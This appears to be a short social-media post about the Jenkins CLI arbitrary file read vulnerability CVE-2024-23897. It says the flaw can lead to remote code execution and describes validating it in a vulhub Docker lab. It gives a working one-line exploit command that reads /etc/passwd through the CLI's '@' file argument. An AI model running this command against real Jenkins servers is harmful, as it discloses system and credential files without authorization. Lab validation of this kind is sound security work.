Arbitrary file read vulnerability through the #Jenkins CLI can lead to RCE CVE-2024-23897
You can call the following batch of commands (under the default anonymous environment) to read any file:
Validating Jenkins CVE-2024-23897, with a quick docker setup from my favorite github.com/vulhub/vulhub resources, java -jar jenkins-cli.jar -s 'http://localhost:8080' connect-node "@/etc/passwd"